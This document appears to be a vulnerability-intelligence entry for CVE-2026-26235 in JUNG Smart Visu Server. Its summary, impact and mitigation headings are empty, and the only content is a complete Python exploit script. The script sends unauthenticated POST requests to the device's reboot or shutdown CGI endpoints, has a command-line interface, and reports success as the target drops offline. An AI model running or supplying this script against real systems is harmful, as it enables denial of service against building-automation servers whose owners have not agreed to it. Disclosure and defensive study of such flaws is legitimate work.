Technical Summary

Potential Impact

Mitigation Recommendations

Indicators of Compromise

• exploit-code: # Exploit Title: JUNG Smart Visu Server 1.1.1050- Dos # CVE: CVE-2026-26235 # Date: 2026-02-12 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/banyamer-security # Vendor Homepage: https://www.jung.de # Software Link: https://www.jung.de/smart-visu-server # Vulnerable: JUNG Smart Visu Server <= 1.1.1050 # Tested on: JUNG Smart Visu Server 1.1.1050 # Category: Web Application # Platform: Embedded/Linux # Exploit Type: Missing Authentication (CWE-306) import requests import sys import argparse from urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def print_banner(): print("\n" + "="*60) print(" JUNG Smart Visu Server - Unauthenticated Reboot/Shutdown PoC") print(" CVE-2026-26235 | CWE-306") print("="*60 + "\n") def exploit(target, action="reboot", verify_ssl=False, timeout=10): endpoints = { "reboot": "/cgi-bin/reboot.sh", "shutdown": "/cgi-bin/shutdown.sh" } if action not in endpoints: print(f"[-] Invalid action: {action}. Choose 'reboot' or 'shutdown'.") return False url = f"{target.rstrip('/')}{endpoints[action]}" headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:135.0) Gecko/20100101 Firefox/135.0", "Content-Type": "application/x-www-form-urlencoded", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Sec-Fetch-Dest": "document", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-User": "?1", "Cache-Control": "max-age=0", "Origin": target.rstrip('/'), "Referer": f"{target.rstrip('/')}/", "DNT": "1", "Sec-GPC": "1" } print(f"[*] Target : {url}") print(f"[*] Action : {action.upper()}") print(f"[*] SSL Verify : {verify_ssl}") print("[*] Sending unauthenticated POST request...\n") try: response = requests.post( url, headers=headers, data="", verify=verify_ssl, timeout=timeout, allow_redirects=False ) print(f"[+] Request sent successfully!") print(f"[+] HTTP Status : {response.status_code}") if response.status_code == 200: print("[!] Server responded with 200 OK - action likely executed") elif response.status_code == 302 or response.status_code == 301: print("[!] Server responded with redirect - action may have been triggered") else: print(f"[?] Unexpected response code: {response.status_code}") if response.text: print(f"[*] Response preview: {response.text[:200].strip()}") print("\n[!] If successful, the target server should now be restarting or shutting down.") return True except requests.exceptions.Timeout: print("[-] Connection timeout. The server may be down or unreachable.") print("[*] This could indicate successful DoS if the server was previously reachable.") return True except requests.exceptions.ConnectionError as e: print(f"[-] Connection error: {e}") print("[*] The server may have gone down - possibly successful exploitation.") return True except Exception as e: print(f"[-] An error occurred: {e}") return False def main(): print_banner() parser = argparse.ArgumentParser( description="PoC for CVE-2026-26235 - JUNG Smart Visu Server Unauthenticated Reboot/Shutdown" ) parser.add_argument( "target", help="Target server URL (e.g., https://192.168.1.100:8080)" ) parser.add_argument( "-a", "--action", choices=["reboot", "shutdown"], default="reboot", help="Action to perform: reboot or shutdown (default: reboot)" ) parser.add_argument( "-k", "--insecure", action="store_false", dest="verify_ssl", default=False, help="Disable SSL certificate verification (default: disabled)" ) parser.add_argument( "-t", "--timeout", type=int, default=10, help="Request timeout in seconds (default: 10)" ) args = parser.parse_args() print(f"[*] Starting exploit against: {args.target}\n") success = exploit( target=args.target, action=args.action, verify_ssl=args.verify_ssl, timeout=args.timeout ) if success: print("\n[+] Exploit completed successfully.") else: print("\n[-] Exploit failed.") sys.exit(1) if __name__ == "__main__": main()